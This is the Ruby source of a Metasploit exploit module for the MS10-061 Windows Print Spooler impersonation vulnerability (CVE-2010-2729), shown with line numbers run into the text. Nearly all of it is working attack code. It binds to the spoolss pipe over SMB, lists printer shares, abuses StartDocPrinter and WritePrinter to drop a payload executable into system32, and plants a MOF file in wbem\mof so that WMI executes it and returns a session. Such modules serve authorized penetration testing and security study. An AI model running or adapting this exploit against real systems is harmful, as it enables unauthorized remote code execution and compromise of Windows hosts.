Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ms10_061_spoolss.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = ExcellentRanking89include Msf::Exploit::Remote::DCERPC10include Msf::Exploit::Remote::SMB::Client11include Msf::Exploit::EXE12include Msf::Exploit::WbemExec1314def initialize(info = {})15super(update_info(info,16'Name' => 'MS10-061 Microsoft Print Spooler Service Impersonation Vulnerability',17'Description' => %q{18This module exploits the RPC service impersonation vulnerability detailed in19Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the20StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service21to create a file. The working directory at the time is %SystemRoot%\\system32.22An attacker can specify any file name, including directory traversal or full paths.23By sending WritePrinter requests, an attacker can fully control the content of24the created file.2526In order to gain code execution, this module writes to a directory used by Windows27Management Instrumentation (WMI) to deploy applications. This directory (Wbem\\Mof)28is periodically scanned and any new .mof files are processed automatically. This is29the same technique employed by the Stuxnet code found in the wild.30},31'Author' =>32[33'jduck', # re-discovery, printer RPC stubs, module34'hdm' # ATSVC RPC proxy method, etc ;)35],36'License' => MSF_LICENSE,37'Platform' => 'win',38'References' =>39[40[ 'OSVDB', '67988' ],41[ 'CVE', '2010-2729' ],42[ 'MSB', 'MS10-061' ]43],44'Privileged' => true,45'Payload' =>46{47'Space' => 1024,48'BadChars' => "",49'DisableNops' => true,50},51'Targets' =>52[53[ 'Windows Universal', { } ]54],55'DisclosureDate' => '2010-09-14',56'DefaultTarget' => 0))5758register_options(59[60OptString.new('SMBPIPE', [ false, "The named pipe for the spooler service", "spoolss"]),61OptString.new('PNAME', [ false, "The printer share name to use on the target" ]),62])6364deregister_options('SMB::ProtocolVersion')65end666768def exploit6970connect(versions: [1])71login_time = Time.now72smb_login()7374print_status("Trying target #{target.name}...")7576handle = dcerpc_handle('12345678-1234-abcd-EF00-0123456789ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])7778print_status("Binding to #{handle} ...")79dcerpc_bind(handle)8081print_status("Bound to #{handle} ...")8283# Try all of the printers :)84printers = []85if (pname = datastore['PNAME'])86printers << pname87else88res = self.simple.client.trans(89"\\PIPE\\LANMAN",90(91[0x00].pack('v') +92"WrLeh\x00" +93"B13BWz\x00" +94[0x01, 65406].pack("vv")95)96)9798printers = []99100lerror, lconv, lentries, lcount = res['Payload'].to_s[101res['Payload'].v['ParamOffset'],102res['Payload'].v['ParamCount']103].unpack("v4")104105data = res['Payload'].to_s[106res['Payload'].v['DataOffset'],107res['Payload'].v['DataCount']108]1091100.upto(lentries - 1) do |i|111sname,tmp = data[(i * 20) + 0, 14].split("\x00")112stype = data[(i * 20) + 14, 2].unpack('v')[0]113scoff = data[(i * 20) + 16, 2].unpack('v')[0]114if ( lconv != 0)115scoff -= lconv116end117scomm,tmp = data[scoff, data.length - scoff].split("\x00")118119# we only want printers120next if stype != 1121122printers << sname123end124end125126# Generate a payload EXE to execute127exe = generate_payload_exe128129printers.each { |pr|130131pname = "\\\\#{rhost}\\#{pr}"132133print_status("Attempting to exploit MS10-061 via #{pname} ...")134135# Open the printer136status,ph = open_printer_ex(pname)137if status != 0138fail_with(Failure::Unknown, "Unable to open printer: #{Msf::WindowsError.description(status)}")139end140print_status("Printer handle: %s" % ph.unpack('H*'))141142143# NOTE: fname can be anything nice to write to (cwd is system32), even144# directory traversal and full paths are OK.145fname = rand_text_alphanumeric(14) + ".exe"146write_file_contents(ph, fname, exe)147148# Generate a MOF file and write it so that the Windows Management Service will149# execute our binary ;)150mofname = rand_text_alphanumeric(14) + ".mof"151mof = generate_mof(mofname, fname)152write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)153154# ClosePrinter155status,ph = close_printer(ph)156if status != 0157fail_with(Failure::Unknown, "Failed to close printer: #{Msf::WindowsError.description(status)}")158end159160break if session_created?161}162163print_status("Everything should be set, waiting for a session...")164handler165166cnt = 1167while session_created? == false and cnt < 25168::IO.select(nil, nil, nil, 0.25)169cnt += 1170end171172disconnect173174rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError175fail_with(Failure::Unknown, $!.message)176end177178179#180# Use the vuln to write a file :)181#182def write_file_contents(ph, fname, data)183184doc = rand_text_alphanumeric(16+rand(16))185186# StartDocPrinter187status,jobid = start_doc_printer(ph, doc, fname)188if status != 0 or jobid < 0189fail_with(Failure::Unknown, "Unable to start print job: #{Msf::WindowsError.description(status)}")190end191print_status("Job started: 0x%x" % jobid)192193# WritePrinter194status,wrote = write_printer(ph, data)195if status != 0 or wrote != data.length196fail_with(Failure::Unknown, ('Failed to write %d bytes!' % data.length))197end198print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])199200# EndDocPrinter201status = end_doc_printer(ph)202if status != 0203fail_with(Failure::Unknown, "Failed to end print job: #{Msf::WindowsError.description(status)}")204end205end206207208#209# Call RpcOpenPrinterEx210#211def open_printer_ex(pname, machine = nil, user = nil)212=begin213DWORD RpcOpenPrinterEx(214[in, string, unique] STRING_HANDLE pPrinterName,215[out] PRINTER_HANDLE* pHandle,216[in, string, unique] wchar_t* pDatatype,217[in] DEVMODE_CONTAINER* pDevModeContainer,218[in] DWORD AccessRequired,219[in] SPLCLIENT_CONTAINER* pClientInfo220);221=end222223# NOTE: For more information about this encoding, see the following224# sections of the Open Group's C706 DCE 1.1: RPC225#226# 14.3.8 Unions227# 14.3.10 Pointers228# 14.3.12.3 Algorithm for Deferral of Referents229#230machine ||= ''231machine = NDR.uwstring(machine)232user ||= ''233user = NDR.uwstring(user)234235splclient_info =236NDR.long(0) + # DWORD dwSize;237machine[0,4] + # [string] wchar_t* pMachineName;238user[0,4] + # [string] wchar_t* pUserName;239NDR.long(7600) + # DWORD dwBuildNum240NDR.long(3) + # DWORD dwMajorVersion;241NDR.long(0) + # DWORD dwMinorVersion;242NDR.long(9) # unsigned short wProcessorArchitecture;243244# Add the deferred members245splclient_info << machine[4, machine.length]246splclient_info << user[4, user.length]247248splclient_info[0,4] = NDR.long(splclient_info.length)249250splclient_info =251# union!252NDR.long(1) + # discriminant (inside copy)253NDR.long(rand(0xffffffff)) +254splclient_info255256stubdata =257NDR.uwstring(pname) + # pPrinterName258NDR.long(0) +259# DEVMODE_CONTAINER (null)260NDR.long(0) +261NDR.long(0) +262# AccessRequired263NDR.long(0x02020000) +264# SPLCLIENT_CONTAINER265NDR.long(1) + # Level (must be 1)266# SPLCLIENT_INFO_1267splclient_info268269#print_status('Sending OpenPrinterEx request...')270response = dcerpc.call(69, stubdata)271if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)272#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))273274handle = dcerpc.last_response.stub_data[0,20]275status = dcerpc.last_response.stub_data[20,4].unpack('V').first276277return [status, handle]278end279280nil281end282283284#285# Call RpcStartDocPrinter286#287def start_doc_printer(handle, dname, fname, dtype = nil)288=begin289typedef struct _DOC_INFO_CONTAINER {290DWORD Level;291[switch_is(Level)] union {292[case(1)]293DOC_INFO_1* pDocInfo1;294} DocInfo;295} DOC_INFO_CONTAINER;296DWORD RpcStartDocPrinter(297[in] PRINTER_HANDLE hPrinter,298[in] DOC_INFO_CONTAINER* pDocInfoContainer,299[out] DWORD* pJobId300);301=end302dname = NDR.uwstring(dname)303if fname304fname = NDR.uwstring(fname)305else306fname = NDR.long(0)307end308if dtype309dtype = NDR.uwstring(dtype)310else311dtype = NDR.long(0)312end313314doc_info =315dname[0, 4] +316fname[0, 4] +317dtype[0, 4]318319# Add the deferred members320doc_info << dname[4, dname.length]321doc_info << fname[4, fname.length]322doc_info << dtype[4, dtype.length]323324doc_info =325# Union!326NDR.long(1) +327NDR.long(rand(0xffffffff)) +328doc_info329330stubdata =331handle +332NDR.long(1) +333doc_info334335#print_status('Sending StartDocPrinter request...')336response = dcerpc.call(17, stubdata)337if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)338#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))339jobid, status = dcerpc.last_response.stub_data.unpack('VV')340return [status, jobid]341end342343nil344end345346347#348# Call RpcWritePrinter349#350def write_printer(handle, data)351=begin352DWORD RpcWritePrinter(353[in] PRINTER_HANDLE hPrinter,354[in, size_is(cbBuf)] BYTE* pBuf,355[in] DWORD cbBuf,356[out] DWORD* pcWritten357);358=end359stubdata =360handle +361NDR.long(data.length) +362# Perhaps we need a better data type for BYTE* :)363data +364NDR.align(data) +365NDR.long(data.length)366367#print_status('Sending WritePrinter request...')368response = dcerpc.call(19, stubdata)369if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)370#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))371wrote,status = dcerpc.last_response.stub_data.unpack('VV')372return [status, wrote]373end374375nil376end377378379#380# Call RpcEndDocPrinter381#382def end_doc_printer(handle)383=begin384DWORD RpcEndDocPrinter(385[in] PRINTER_HANDLE* phPrinter386);387=end388389#print_status('Sending EndDocPrinter request...')390response = dcerpc.call(23, handle)391if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)392#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))393status = dcerpc.last_response.stub_data[0,4].unpack('V').first394return status395end396397nil398end399400401#402# Call RpcClosePrinter403#404def close_printer(handle)405=begin406DWORD RpcClosePrinter(407[in, out] PRINTER_HANDLE* phPrinter408);409=end410411#print_status('Sending ClosePrinter request...')412response = dcerpc.call(29, handle)413if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)414#print_status("\n" + Rex::Text.to_hex_dump(dcerpc.last_response.stub_data))415handle = dcerpc.last_response.stub_data[0,20]416status = dcerpc.last_response.stub_data[20,4].unpack('V').first417return [status,handle]418end419420nil421end422423424def seconds_since_midnight(time)425# .tv_sec always uses .utc426(time.tv_sec % 86400)427428# This method uses the localtime429#(time.hour * 3600) + (time.min * 60) + (time.sec)430end431432# We have to wait a bit longer since the WMI service is a bit slow..433def wfs_delay43410435end436end437438439